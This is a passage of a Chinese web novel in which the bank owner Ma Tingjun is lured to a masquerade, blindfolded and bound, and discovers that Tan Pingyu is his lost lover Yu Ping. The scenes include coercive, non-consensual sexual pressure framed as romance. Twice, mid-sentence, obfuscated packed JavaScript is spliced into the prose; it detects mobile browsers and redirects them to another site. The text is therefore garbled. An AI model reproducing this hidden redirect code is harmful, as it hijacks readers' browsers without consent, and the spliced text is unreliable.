过家家的银行竟有起色,也不见谈家再来骚扰,又逢初雪早,一群人少见多怪,赋一点点雪子偌大的诗意。到最后大家都动了真情,张罗着去酒楼庆祝。 沐浴在暖融融的醉意里,麻霆君借着酒劲,朝大家保证: “谢谢大家一直以来对我的照顾。这段时间里,我想清楚了很多:俞平已经不在了,可我不能自暴自弃,我不能辜负了俞平对我的感情,我更应该好好活下去!” 听得大家都热泪盈眶。 酒醒后倒是另一番滋味,谁都想不起来麻霆君的本意如何,便根据自己的内心添油加醋。有唯恐天下不乱的,瘦子颜青之流,放出消息——行长不但打算好好生活,更加希望能觅一位良人相伴。 一时间,平渝银行里头更加熙攘。同行不知道前因后果,只看得见热闹,眼红不已,悄悄派人打探虚实,得知真相便都哭笑不得,满载而归。 下几场雨,真正到了寒冬,枢城各类活动都多起来了,舞会、茶会,隔几天便有豪门或是社团组织一场。有颜青和郁蕙心,全城的请柬都往平渝银行寄。 麻霆君大多时候跑业务,没闲心去,胖子瘦子占尽小便宜,吃人嘴短,难免遇上觊觎麻霆君的,回银行苦口婆心地求他赴一场孽缘。 麻霆君倒是真心实意想为俞平守寡,凡有追求者都碰一鼻子灰。 又有新舞会。颜青大张旗鼓来发请柬。 这回的请柬格外气派,纸张都格外厚实一些。颜青驱散围上来的胖子瘦子,很是珍贵地献给麻霆君看:“这是滨江办的圣诞舞会,多少人想去都去不了,单请你了!真叫一个‘是金子就会发光,是霆君就不愁被看到’。” 麻霆君却面露难色:“那群人我一个都不认识,有什么好去的?” “怎么会一个都不认识?”颜青笑道,“再怎么说,起码也有一位——谈凭玉。” 一听谈凭玉的名字,郁蕙心顺其自然挨了上来。 郁家借谈家的光,这几年势头不减,要说是圣诞舞会,不可能缺了她。然而这请柬真是第一次见,便多留了一个心眼。看见落款的名义借在一个读书会,不足为奇,地址可大有来头—— 柏庄。 谁不知道柏庄快成谈凭玉的地盘了?除去家业,谈家在外有些零星的投资,开业前便算作柏庄一个大股东,近年谈凭玉青睐这方世外桃源,费的心思更多,事业上凡有活动,都把宾客往柏庄领。 唯独他们俞霆大行长不晓得,只知道养他们四个闲人,白白操劳,一个月挣不出谈凭玉一天饭钱。 郁蕙心暗中一笑,心里顿时了然,也跟着他们一起起哄,道:“嗳,麻霆君,你就是思想包袱太重!没人叫你去勾三搭四,也没人觉得你对不起俞平。你那天又没事做,去跳个舞怎么了?” 颜青油腔滑调道:“霆君,莫非是你跃跃欲试,意欲物色新人,害怕被我们戳穿?” 大家都拖长音数落着麻霆君,麻霆君简直百口莫辩。郁蕙心不肯错失良机,指着请柬上一行小字,道:“胖哥瘦哥,不但有舞会,还白送一顿饭呢!” 一提吃饭谁没精神?胖子瘦子一蹦三尺高,齐声道:“我们能去吗?” 郁蕙心阴阳怪气:“哎呀,你们五爷不肯点头,可怎么办?” 麻霆君平时还算活络,与他们相比,简直成了块榆木疙瘩,任是他想插话,他们也不给他这个机会。一通数落下来,竟不明不白地成了罪人?可把他怨着了,赌气道:“去就去,我怕什么?” * 舞会这天,大家整装待发,郁蕙心嚷嚷不停,嫌一辆车载五个人太挤,叫颜青多开一辆车出来。他们几个拼一辆,赶麻霆君自己开车。 她太霸道,没有敢和她唱反调的。麻霆君在前头开路,两辆车一前一后地驶。行至江南深处,眼前瑞奏江在前,颜青终于开口道:“你嫌位置小,却拉着我们几个在一块,我想这是不合理的。既然霆君被你支开,总好告诉我,你究竟是为了什么?” 郁蕙心苦苦盼一个十字路口,那时碰巧迎在面前,便无视他的话,朝司机道:“师傅,等下往右边拐。” 颜青警觉道:“郁蕙心,你要把我们霆君卖给谁?” 胖子紧张道:“郁小姐行行好,我家五爷走正道,没得罪谁,放他一条生路” 瘦子讨饶道:“郁小姐行行好,我家五爷不值钱,他被卖了,我们也没得活。” 郁蕙心才笑道:“哎呀,你们不知不觉做好事,那车是花轿,他今天要做新郎官的。” 胖子瘦子还摸不着头脑——玩笑要是揭露得太露骨,便失了许多趣味,郁蕙心闭着嘴不肯讲。颜青懂她,暧昧一笑,道:“是不是霆君去会情郎,嫌我们陪着束手束脚?” 郁蕙心才释然笑道:“凡是有不正经的事情,你一点就通了。” 颜青笑道:“先前他喜欢俞平,到头来算我横刀夺爱,还碰一鼻子灰;亏我把霆君当兄弟,没和他计较。这回他好不容易重振旗鼓,我更不应该打扰了。” 还不是听见谈凭玉的名头,闻风丧胆,谅他也没胆子骚扰谈凭玉!又说得多么大义凛然。郁蕙心冷笑一声,道:“你还挺大度?” 颜青不管她讽刺,道:“俞平喜欢他已经是过去了,新来的这一个,万一喜欢我——我是管不住自己的,碰巧还单身呢!可怎么办?” 胖子瘦子听了个囫囵吞枣,先为麻霆君高兴起来了,连声道:“谢谢郁小姐,谢谢颜二爷!” 坐在车里,后悔的心情才油然而生。 鹭镇茶叶出岔,轿车抵押给了甄展,麻霆君许久没有单独开过车,扶方向盘也多了几分郑重。 行至滨江,路旁逐渐张灯结彩起来,枢城吸引诸多洋人驻扎,倒不大规模过洋节。这节骨眼上庆祝,想来是谈四爷的生日。 麻霆君避讳着谈凭玉的名字,连同彩灯也受到牵连,不愿多瞧一眼;偏偏他做司机,不得不向前看,行车的心情便更加紧张。 他根本不想去什么圣诞舞会,只是为了不辜负颜青或是郁蕙心的真心实意。 诚然,他是真心实意爱着俞平的,俞平不在,他没有机会一表爱意,便只想经营他的银行,藏匿在一方小小天地。他爱着俞平,也害怕认识新人,有些莫名其妙的心虚,到底是“君子论迹不论心”,又不好说是责任还是爱。 正是三年前的今天,俞平与他做了恋人,这时候物是人非——一想至此,他原以为自己会伤心难过,然而此刻的独身却不孤独,好像俞平在一旁打瞌睡。他不敢往副驾驶上看,戳破一个谎言。 怅然间不知不觉到了柏庄,他停好车,等郁蕙心他们。 门口的礼宾不给他如此机会,笑脸相迎。麻霆君也礼貌笑着,一边出示邀请函,一边暗地打量四周,眼见柏庄布置得十分温馨,反而有一种奇异的冷清。 礼宾道:“俞先生,欢迎您。” 麻霆君却起了疑心,后退一步,道:“我来得太早了吗?” 身着燕尾服的礼宾,气度不凡,开口发出上流社会的声音:“里头已经陆陆续续有人到了——我们老板对这舞会上心,故意办得小,也不对外开放,为的是照顾到每一位客人。” 麻霆君更是费解。枢城不比鹭镇,银行是小戏班子,上不了滨江的大舞台。便道:“那,怎么会邀请我?” “俞先生,我家老板在商会见过您。”礼宾笑道,“我们老板最赏识青年才俊,纵使突然邀请,有些冒昧,但今晚来的都是些名流之士,他希望您能够拓宽人脉,有更好的发展。” 一席话听得麻霆君有些飘飘然,想起商会,他光顾着和谈凭玉斗气了,还不知道怎么入了其他名士的法眼。兴许枢城反对谈凭玉的也自成一派?那他在这唱反调的队伍里,简直大有所用了。 他密谋着日后出路,礼宾看他高兴,顺势请他进门。 隔几步便能撞见一位工作人员,都认识他似的,点头哈腰地敬一句“俞先生”,醉得麻霆君分不清天南地北,更忘记还不见颜青和郁蕙心,只管自己顺着指示牌往里走。 宴厅近在眼前,有侍者拦路,把他引进了另外的小房间。 才知道今晚是变装舞会,麻霆君准备不充分,本就理亏,何况他这几年节衣缩食,对上流社会的礼仪生疏起来,没有办法拒绝如出一辙的礼貌与热情,任由宰割。 然而侍者先拿长飘带把他的眼睛蒙上了,软软绵绵的冰凉触感,叫他心思摇摆不定,却又觉得是自己多心 单龙冷不丁从一旁钻出来,无声地从侍者手里接来飘带,狠狠打起死结。 麻霆君被勒得慌,不太有底气地道:“为什么要把眼睛蒙上?” 单龙接话道:“我们老板就喜欢这种玩意。” 他接话得太自然,脱口而出,难免有些后悔,幸而麻霆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15383958|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 君面色不改——话说回来,麻霆君连枕边人的声音都不记得,怎么会在乎他?与侍者对上一眼,无声地相视而笑。 麻霆君微微皱眉,只道:“你们老板是何方神圣?” 单龙道:“读书会的。” 麻霆君追问道:“请问大名?” 单龙手上打折,模糊道:“商会第三任会长,知道是谁么?” 麻霆君诚实道:“不知道。” “不知道?” 实话说单龙自己也不知道,却冷哼一声,愤懑道,“你没听过我老板大名,我老板还要请你?不识抬举的东西,等下出了洋相,可别说是被邀请来的——你是翻墙进来的。” 麻霆君自己理亏,也不好再追问,哦了一声,任由摆布。 眼睛是结实地捆上了,单龙纵使拿小刀吓唬他,也不见他闪躲,便从拿出一根更长的飘带,把麻霆君两只手腕捉到一起,心满意足地捆扎起来。 麻霆君毫无底气道:“为什么要把手捆上?” 侍者代由答道:“先生您想,男男女女共处一室,眼睛又都看不见,怕有狂徒趁机行不当之事,干脆把手也束上了。” 麻霆君心里暗暗吃惊:不愧是颜青热衷的舞会,准没安好心!再有下次,无论如何也不肯答应了。思索着等下如何同颜青碰面,两只脚踝不知不觉被并拢在一起了。 “为什么要把脚捆上?” 侍者道:“先生您想,大家看不见、摸不着了,我们老板通人情,怕大家互相踩来踩去,特地要把脚捆上。” 单龙动作利索,绳结如脚镣般绑在麻霆君的双脚之间,勉强留一个供他小碎步的空间,看他挪动步伐,捂着嘴笑得东倒西歪。 侍者也笑,维持着平静语调,道:“俞先生,这正是我们老板的良苦用心。若是要最大程度地享受舞会,心灵是代替身体的不二之选。” 这是哪门子的圣诞舞会?亏是柏庄排场大,不像特地整蛊他的节目。麻霆君简直欲哭无泪,大抵数自己全心全意经营银行,与流行落伍了。 他软弱道:“你们老板想的还挺周到。” “是。”单龙拍了拍他的肩膀,“我们老板就喜欢这样的勾当。” 侍者多少有忌惮,牵着麻霆君手腕上的飘带入场,宴厅门大开,麻霆君忽然顿了脚步。 胜利在即,这两人都紧张,却听他说:“我需要食物……” 侍者会意道:“里头开桌子摆蒲菲,任由您挑选。” 麻霆君一愣:“蒲菲?” 蒲菲划在粤语里头,这两人在香岛久,难以维持口音的刚正不阿;麻霆君必然是学过粤语的,英文也略懂一二,哪怕到现在都忘光了,侍者也要保证他不起疑心,打岔道:“今晚的肉汤不错,后厨正在炖煮,您有什么忌口?有什么别的想吃?” 麻霆君道:“有热可可吗?” 又道:“要五杯,我还有四个同伴,比我晚一些到,现在应该也在蒙眼睛了。” “没问题。要是有其他需要,欢迎随时吩咐。”侍者忍着笑,道,“请快进去吧!我看见里面有人迫不及待想要邀请您了。” 两人朝里面挥手告退,蹑手蹑脚锁了宴厅大门。 眼前一片黑暗,麻霆君不知所措,也不见有人来邀请。挣扎道:“颜青!” 没人应。又道:“郁蕙心!” 胖子瘦子必然是指望不上了,他叹一口气,摸索着往前进。这舞厅空旷得过了头,有凉风习习,他看不见,像是行走在独木桥上。 忽然束缚他双手间的飘带遭人牵起——他忙道:“您好,怎么称呼?” 那人不吭声,却是牵着他向前走。麻霆君步子不敢迈得太大,心里七上八下:一会埋怨颜青使诈,把他骗来如此之地,一会又觉得自己姿态滑稽,不想失了面子,自顾自矜持着。 “实话说,我的爱人不在了,我一直都怀念着他。很感谢您的邀请,若是扫了您的兴……我很抱歉。” 音乐声喧闹,他们之间沉默得异常。麻霆君好像听见那人应答,再凝神,仿佛是自己自作多情。他手上微微用力,挣脱那人的牵引。 听见那人轻笑一声,快步来到他的身后。都是束手束脚,怎么唯独他能走得这么快?麻霆君心里正茫然,又感受到后背戳了一个手术刀似的指尖,顺着的肩颈往下解剖。 他看得见!麻霆君大脑一片空白,无数不详记忆顿时涌上心头——壮胆喊道:“谈凭玉!” 黑暗那头幽幽答道:“是我。” 89.死人 谈凭玉! 麻霆君目瞪口呆,浑身僵直,许久苏醒过来——光是想起郁蕙心发配他独自开车,得逞后一个意义不明的笑,仿佛一切都明了了。 谈凭玉突如其来回到枢城,不敢回家,直奔柏庄而来。柏庄不是他的地盘还能是什么?又有郁蕙心在平渝银行卧薪尝胆,这阴谋兴许几年前就发动了,正是为了这一刻! 胖子瘦子,两只白眼狼,从前在麻公馆多么风光,他从来不短了他们。此时他被设计陷害,他们与奸人同流合污,不知道来提醒! 颜青也不是个好东西,为了谄媚权贵,隔岸观火,亏他们情同手足这么多年! 麻霆君心里恼羞成怒,五脏六腑怨成一股火,恨不得把他们所有人烧个干净。无奈行动都被飘带拘束着,愈发孤立无助。大喊道:“谈凭玉,你个混蛋!” 谈凭玉笑道:“我怎么成混蛋了?” 麻霆君道:“根本就没有什么圣诞舞会——是你设计来骗我!” 他这般殊死挣扎,以至于谈凭玉心情颇佳,挽着他作一个交际舞的预备姿势。他自然不愿屈服,在谈凭玉怀里苦苦挣扎,不想失了平衡,跌跌撞撞地要向一旁栽倒。 谈凭玉稳稳抱着他,语气含笑着道:“跑什么?好歹喝过热可可再走,否则是我招待不周了,传出去被人笑话。” 麻霆君面色发白,硬是逞强道:“谈凭玉,我敬你是四爷,我是对不起你,也愿意担责。你要杀要剐,依你的心意。犯不着这么侮辱我,快给我松绑!” 谈凭玉道:“看你这样倒是挺可爱的,放你自由,岂不是浪费了?” “疯子……”他如坠冰窖。 “我都是疯子了,怎么会听你的?” 话音刚落,麻霆君手上的飘带又遭抬起,谈凭玉顺着节拍来牵他,大抵是邀请他跳舞。他却唯有服从。 慌乱之间,他脑海中充盈的竟是俞平以前在麻公馆教他跳舞的时光,四只鞋在地板上打架,俞平对他好,心甘情愿跳女步——此时此刻,他读懂谈凭玉的动作,谈凭玉也把男步谦让给了他! 这股绅士劲用在哪里不好?偏偏落在蛇蝎心肠上。耳畔恰恰是悠扬舞曲,听得更是烦躁:有这般高雅品味,为人却如此卑劣! “你到底是什么意思?” 麻霆君恶狠狠道,“我可没有闲心陪你跳舞!” 谈凭玉攀着他的肩膀,衔他的左耳廓:“你又是什么意思?” 麻霆君肩膀一耸,扭头来往他脸上撞;他嗤笑一声,绕去他的右耳,又道:“说来我们的孽缘不浅,当年划了我的车也就罢了。这几年新做了什么,你还记得吗?” 麻霆君到底是心虚,不敢开口。他笑道:“麻霆君,你玩我的人,花我的钱,占尽了便宜也不认账,说什么敢作敢当。我问你,你打算怎么弥补?” 麻霆君深呼吸,道:“四爷,我确实对不住你。我虽是资本不够,但你和我说个数目,一千年、一万年,只要我麻霆君还有一口气,一定想方设法弥补上。” 谈凭玉道:“你也知道我是四爷,我还缺你这点钱么?” 麻霆君的感知都遭到封闭,便是陷在一个不安的环境,他本就惶恐,遭谈凭玉一番冷嘲热讽,更是心急,嗓门不受控制,道:“你要怎么样!” “你还凶我?”谈凭玉装柔弱装不到位,单听出他忍着笑,道,“我好害怕哦。” 麻霆君出一背冷汗,服从道:“四爷,请您明示……” “事已至此,没有挽回的方法。我向来不是看重金钱的,为一点蝇头小利折磨你我,我可不愿意。” 谈凭玉轻轻笑道,“霆君,你怎么不明白?我想和你交朋友。你要是愿意了,之前不论做了什么,我都愿意一笔勾销。” 交朋友?麻霆君心里发毛,只好大吼大叫着壮胆:“上次看音乐会,不是叫我和你打一架!你快把我的绳子解开,我现在好好陪你!” 不料谈凭玉笑道:“我随口一说,没想到你记到现在。我真是太高兴了。” 他看麻霆君害怕得浑身骨头都在响,却没半点内疚。他做得再过火,还不是麻霆君一开始就没听出他的声音,否则枢城早多一方谈四奶奶,至于不清不楚地在舞池僵持? 想到如此,好像还是麻霆君对不起他,嘴上说着最爱俞平,其实是喊口号。 “我当然记得,我做梦都恨不得把你撕成碎片!”麻霆君还在放狠话。 他笑。猛地一拽麻霆君手上的飘带,叫麻霆君踉跄几步,再稳稳地扶住了,道:“可惜我改变主意,我不想和你打架了。” 又道:“霆君,你不肯看我,我可是仔仔细细看过你——我看你虎背蜂腰螳螂腿,长相更是一等一的英俊,才不忍心对这样的美男子拳脚相加。” 麻霆君惊骇道:“你是什么意思?” 他一笑了之。 麻霆君嘴唇惨白,道:“谈凭玉,你说话!” 谈凭玉才慢慢地道:“俞平被你害死了,我可是寂寞得不得了,你总不能让我一直空虚下去吧?” 麻霆君简直要化成一滩泥跌倒下去,站得摇摇欲坠,只好循着飘带,救命稻草似的胡乱一抓,真正握住的却是谈凭玉冰凉的手掌。他惊叫一声,可惜手掌被谈凭玉牢牢钳着,逃脱不得。 汗珠顺着他脸上优越的线条一路淌下来,顺在嘴边,被谈凭玉温柔地捺去了。 他垂死挣扎道:“你疯了,我是个男人!” “才知道自己是个男人?俞平也是男人,我也是男人。你就光惦记俞平,不惦记我?” 谈凭玉看他害怕,笑道,“那么,你告诉我,我比俞平有权有势,差在哪里?” “谈凭玉,你是个魔鬼!” “我顶多是对你心怀不轨,怎么成魔鬼了?” 听谈凭玉笑得灿烂,麻霆君只有更加绝望,铁了心挣脱谈凭玉的手掌,才跑出一步,谈凭玉踩了他双脚间的飘带,把他绊倒在地。 他直挺挺地摔下,倒没有磕到;谈凭玉环抱着他,几乎与他一起倒下,更是贴心地伸手护着他的后脑勺。他躺在地上,后脑勺下软绵绵的一片,身上闷了大半个谈凭玉的身子,许久呼吸才顺畅。 他不愿承认,却无力挣扎——谈凭玉不偏不倚跨坐在他身上。 “我来枢城只是为了谋生,恳请四爷高抬贵手。” “你那银行盈亏多少?还去漫柳楼点小倌,美其名曰学我过生日,谋什么生了?” 麻霆君不答。 谈凭玉便牢牢箍在他身侧,道:“今后你跟着我,谋的是富贵。” 麻霆君再不答,他指节刮着麻霆君紧紧抿着的两瓣唇,不料麻霆君张口来咬他。他吃了痛也不恼,咯咯笑着。 麻霆君哭嚎道:“我生是俞平的人,死是俞平的鬼!少来蒙蔽我,我绝不可能和你同流合污!” 谈凭玉便道:“所以,你不喜欢我?” 枢城是谈四爷的枢城,他在这魔爪之下,胆敢说半个不字,必然是死无全尸——麻霆君索性不和他挣扎了,管自己抽泣着。 谈凭玉拍拍他的面颊,道:“我喜欢你,不会害你的。和我说实话。” 麻霆君断断续续道:“不喜欢。” “不喜欢我?”真是正中谈凭玉下怀,明快道,“那你喜欢谁,俞平?” 麻霆君有气无力地摇摇头。 谈凭玉便道:“颜青?” 不见得麻霆君有所反应,他又道:“甄展?” 麻霆君放弃希望般一动不动。看得他扑哧一笑,道:“你是不是对两个 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他把麻霆君的手掌也欺压在身下,解领口的扣子:“总有人说我谈凭玉发育畸形,长一身烂肉,腿也短,和山上野猪没有区别。你感觉得出,我身材怎么样?” 麻霆君的喘息声更重,他再掐麻霆君的鼻尖。 麻霆君呼吸不过,唯有顺从,声音夹杂些许哭腔,道:“好,好极了。” 谈凭玉把腰间一把短匕抽出来,割麻霆君手上的飘带,解放了麻霆君的右手,抵在自己的面颊上:“也有人说我样貌丑陋,青面獠牙,比阴曹地府里的鬼怪还要难看。家里为了保持名誉,才不肯让我见人。” 又悠悠道:“我问问你,我难不难看?” 麻霆君紧锁眉头,谈凭玉探着他的手掌,因由黑暗,一点刺激放得更大。 忽然感受到谈凭玉往他手心里舔了一口,他急忙道:“四爷正是一等一的美男子……” 话没说完,谈凭玉竟含着他的大拇指!他仿佛跌进油锅里煎。半晌谈凭玉吐了手指,道:“我并非清白之身,我问问你——” 谈凭玉再把他手腕扳来,眼见他浑身颤抖,模样说不出的动人,便轻轻咬了他的指尖,笑道:“不用问了,我坐都坐得不舒服,你把我硌疼了。” “够了!”麻霆君大吼一声,“我就是爱俞平,俞平也爱我,我就是恨你,骑在你脖子上示威!” 没想到这招真是管用!他感受出谈凭玉握着他的力度都更加轻松。情急间一番殊死挣扎,前因后果串联在一起,忽然开了窍,又激动地道:“你每天变着花样折磨我,你不可能是谈凭玉!” 谈凭玉大笑道:“我不是谈凭玉?” 麻霆君声嘶力竭道:“你决不可能是谈凭玉!你到底是谁!” 谈凭玉管自己笑开心了,往麻霆君眼睛上一挑。绑在眼眸上的绳结更是难以解开,他不想误伤麻霆君,动作笨拙了些。 麻霆君不识好心,光吃着脸上一阵温热,立刻咬紧牙关妨碍着,偏偏面颊上一凉——绳结被解开,顺滑地淌在他的脸上。 谈凭玉没有动作。 简直被穹顶上繁复吊灯刺得睁不开眼,好长一阵,眼前金星扩散干净,麻霆君才苏醒过来,试探着挣脱被谈凭玉捉着的右手。 谈凭玉不挽留,他好不容易活动手臂,拨开压在脸上的飘带,却只看得清楚谈凭玉的面孔。 这张脸他太熟悉了,苍白又美丽,一双狐狸眼睛施了法似的勾魂夺魄,想起方才捏着的是这样一张脸——这样的一张脸,倏地觉得不可思议。 他深吸一口气。 “我是个死人。”谈凭玉向他微笑。 90.业绩 “俞平!” 麻霆君大张嘴巴,像是灵魂飘出来讲话。眼前尽是美轮美奂一张面孔,说是俞平,俞平没这般恣意;说是谈凭玉——他心里接受不了,一点点被抽得力竭。 “谈……”他用尽最后一丝气力,“谈凭玉……” 随即白眼一翻昏死过去。 混沌之间,有一种羽化登仙了的不堪实际。麻霆君不敢清醒,由身体逐渐变得轻盈,当是一场梦,到最后不得不睁开眼睛。 他在卧室,拘在温暖被窝里,动弹不得,谈凭玉和单龙的投影拉长到他的床前。 他看清楚谈凭玉,飞快地补了一个笑,继而半眯着眼睛,装糊涂。 单龙道:“四爷,他是装的。” 谈凭玉闲闲道:“是吗?” 麻霆君不由自主感叹着:唉!声音也好听! 单龙恶狠狠道:“这小子身体多好,哪有这么容易昏倒?他方才在里面哇啦哇啦吵,恨不得全枢城来为他悲歌!要不是为了四爷您,我们都没脸进来。” 谈凭玉道:“那他什么时候醒来?” 单龙道:“醒不来!四爷,我去叫医生把他剖了,心不跳就丢去喂狗。” 谈凭玉笑道:“黑兔晚上那顿喂过么?没喂? ” “早喂过了。”单龙低低地笑。 纵使真相浮出水面,这两人发出的声音依旧恐怖,尤其是谈凭玉的冷笑,简直叫人毛骨悚然。麻霆君赶忙从床上坐了起来: “我复活啦!” 这时候又摆的出笑脸了,讨好地道,“四爷求你别剖我,一切好说,一切好说。” 单龙道:“这是我们四爷,你敢不说敬语?” 麻霆君双手合十,道:“四爷,求求您。” 不论身份地位变了几何,站在眼前的,全然是昔日的恋人模样。麻霆君心跳得才安生了些,却是目不转睛,再也没离开谈凭玉一寸。 这铺天盖地的凝视里,逃脱无能的单龙,浑身起鸡皮疙瘩,提高音量道:“看什么看,有话快说!” 麻霆君依然神志不清,回想起谈凭玉方才啄自己的手心,更加飘飘欲仙。分别三年,有千种感慨,万般情愫,这时候一并涌上心头,化作眼泪飙出几滴。 鼻尖迟来地冒一阵酸,他脑海中敲警钟,不想让谈凭玉为自己担忧,便堆了一个很难看的微笑,道:“哎呀,宝贝儿,难怪总叫我看你!” 单龙往床尾踹了脚,凶相毕露,道:“发狗瘟!这是我们四爷,吊儿郎当像什么样?” 麻霆君道:“他是我的爱人!” 单龙不肯,道:“现在兴什么私人恩怨,都不作数的!这是我们四爷!” 麻霆君便朝谈凭玉甩尾巴,很是期待他来为自己撑腰,单龙也等他发话。 他两个人各扫一眼,扑哧笑道:“我看还是要叫医生,就算霆君能活蹦乱跳,脑子也坏了。” 麻霆君不论听见什么都傻笑。 单龙看不惯,道:“你这蠢狗,差不多得了。就算我们四爷真喜欢你,你也没这个福分!” 麻霆君道:“我怎么了?我多么问心无愧!” 单龙道:“刚才装晕吓唬人的,是不是你?四爷决定把你充狗粮,阎王来了都没用。我睁一只眼闭一只眼,你好写遗书了。” 麻霆君便道:“怎么可能?四爷哪里肯舍得,四爷!” 谈凭玉笑道:“我舍得的。” 舍得?麻霆君后背凉几寸,心里不肯相信,只当是谈凭玉在单龙面前摆威风,同自己开玩笑。 哪有这么开玩笑的?他气鼓鼓地看向谈凭玉,却觉得哪里都可爱,似乎比三年前还要漂亮——生得这么美,心肠有这么恶毒!果真是没有十全十美的人生存在世上。 “我没有装晕倒,是你们有所不知。”他自己骗自己。 “讲。” 谈凭玉咬着下唇憋笑,笑从眼里飞出来,更是含情脉脉。这笑眼里又藏着刀,触电似的叫麻霆君心惊胆战,却看得脸红,讲什么都结结巴巴。 “四爷明鉴。小人方才不是昏迷,而是去了一趟阴曹地府,问阎王有没有俞平这号人。” 他攥着被角,道,“阎王把我的俞平带了出来,我们说了一会话,这才耽误了四爷您的时间。” 谈凭玉故意道:“你的俞平?” 麻霆君糊涂着,也是为了配合他演戏,只知道笑:“您的,您的。” 谈凭玉道:“那我是谁?” 麻霆君看一眼单龙,恭敬道:“您是谈四爷。” 单龙鄙夷道:“我们四爷是喜欢你,你也差不多得了,得了便宜还卖乖。” 麻霆君道:“开玩笑,我很尊敬四爷呢!” 谈凭玉道:“可我怎么记得,你要骑在我脖子上摆威风?” 单龙吃惊道:“有这种人?” 麻霆君不敢相信自己的耳朵,急匆匆叫一声“平儿”,又怕单龙踢他床,改了口,道:“四爷!俞平说给四爷您当情人,您也说有俞平这个情人,被我抢了走,我怎么敢猜测你们是一个人?” 谈凭玉笑道:“别说敬语了,我听不习惯。” 单龙扮鬼脸。麻霆君不和他正面交锋,眼睛黏着谈凭玉,死命摇尾巴。 谈凭玉故意置之不理,倏地一笑。 麻霆君也笑,低下头去,装得十分委屈,为自己争辩着:“平儿,我最初人微言轻,想在枢城做出成绩了,再去把你赎出来,堂堂正正和谈家一较高下。” 说话时候偷偷瞄一眼谈凭玉,又道:“我确实有错在先。实话讲,我不怕谈家来报复,可我家人是无辜的,所以只能诈死。我想你一定会理解我,没想到先被你发现了。” “听的我真是好感动。”谈凭玉肘弯一戳单龙,道,“赏点钱给他。” 单龙不想参与他们矫揉造作,光朝麻霆君出气,道:“这小子一点享福的本领都没有,给他钱也是糟蹋。” 谈凭玉笑开来。麻霆君苦苦地道:“你既然一开始就知道,为什么不来找我?” 谈凭玉道:“哪来的话?我真当你死了。” 麻霆君道:“你突然从香岛回来,迫不及待装神弄鬼,还不是为了吓唬我!” 谈凭玉冷笑道:“三个月都不到,怕了?怎么保护俞平?” 他看麻霆君朝被子里缩,为图以一笑蒙混过关。 对于麻霆君,他向来不是得理处饶人的,慢条斯理地道:“我好不容易在香岛做出成绩,原本要衣锦荣归,好好给你个惊喜,怎么知道你这么能折腾?” 当真是一张床上睡不出两个人——麻霆君暗中得意,怕被他们看出来自己小人得志,便生硬地讨好道:“不管俞平还是四爷您,都不愧是谈公馆出来的,做什么都遥遥领先。” 谈凭玉道:“什么俞平?” 麻霆君讪讪一笑,道:“凭玉。” 谈凭玉“啧”一声,苦于当着单龙的面,多少畏手畏脚,便向单龙眨眼睛。单龙歪嘴一笑,识趣地退出门外。 麻霆君听门外脚步消失干净,迫不及待道:“宝贝儿,过来点。” 他听着觉得好笑,道:“嗳,我是四爷,凭什么听你的?” “你喜欢我么。”麻霆君拖着长音。 谈凭玉皮笑肉不笑,道:“一般。” 麻霆君掀棉被起身,一把将他捉在怀里,他东倒西歪地站不稳,胡乱摸索到床沿坐了,麻霆君顷刻摁着他两只肩膀,试探着要来吻他。他拨开麻霆君的脸,大声道:“麻霆君!” 单龙已经不会来救他了。麻霆君也知道,所以格外放肆,把他拘在怀里,从额头亲到下巴。他皱着眉头胡乱叫麻霆君搜刮,终于道:“好了!” 麻霆君道:“是不是嫌我烦了,平儿?” 谈凭玉道:“凡事都有度,谁遭得住你!” 麻霆君倒也知错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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麻霆君弱弱收回了手,心里更是愤懑:这四爷翻身做皇帝,总归能扬眉吐气,居然还知道问他什么意见! 谈凭玉看他模样好笑,温和道:“霆君,你喜欢的热可可来了。我记着你喜欢热可可的,没有忘。” “那时你叫我抬头看你,我虽是不肯,但我听出你们语调像,没想到是一个人!” 麻霆君朝另一侧撇头,感慨道,“钱养人啊,钱养人。” 谈凭玉笑道:“你是装傻还是真傻?差不多得了,别让人家在外面干站着。” “我听闻西洋医术发达,有整容技巧,能把两个面目全非的人变得一模一样。” 麻霆君胡诌一通,看谈凭玉表情不算太难看,才道,“嗳,俞平多少喜欢我,不但对我百依百顺,照顾我无微不至……每天都要吻我!怎么你这么能欺负我?你是不是整容成他的样子的?” 话音刚落,他只觉得脸上火辣辣地疼。谈凭玉扇他迅雷不及掩耳,清脆声响都慢半拍。他捂着脸,十分错愕——对上一双狐狸眼,却又险些被吸进去。又忘了痛。 谈凭玉垂眼,朝手心吹气,闲闲地道:“欺负的就是你。” 谈凭玉不给他面子,他更加下不来台,竟还想哄谈凭玉高兴。唯有扮小丑,指桑骂槐道:“死胖子死瘦子死李喆,耳朵都被狗叼走了,居然连个名字都听不清楚!” 他偷偷瞄谈凭玉——谈凭玉往他额头上弹一记,起身去开门。 单龙在门口跃跃欲试往里头瞟,非要看清麻霆君穿没穿衣服不可,心不在焉的,热可可泼几滴在谈凭玉手上。他视若无睹,回来见麻霆君重新缩回被褥,怀里紧紧抱着另一只枕头,找一个依靠,以便对抗自己。 他冷冷地一笑,道:“我喂你?” 麻霆君窘迫笑了,道:“谢谢。” 91.复活 谈凭玉挤着麻霆君的手臂坐下。 麻霆君姑且没有不看他的魄力,看得神魂颠倒。 不说三年前在鹭镇,单从揭秘的那一刻算起。麻霆君一边装晕,一边把后路计算了个大致:不论是俞平还是谈凭玉,不论身份多么高,他都要坦坦荡荡,讲骨气、求公平,绝不可能再因为一双狐狸眼睛鬼迷心窍; 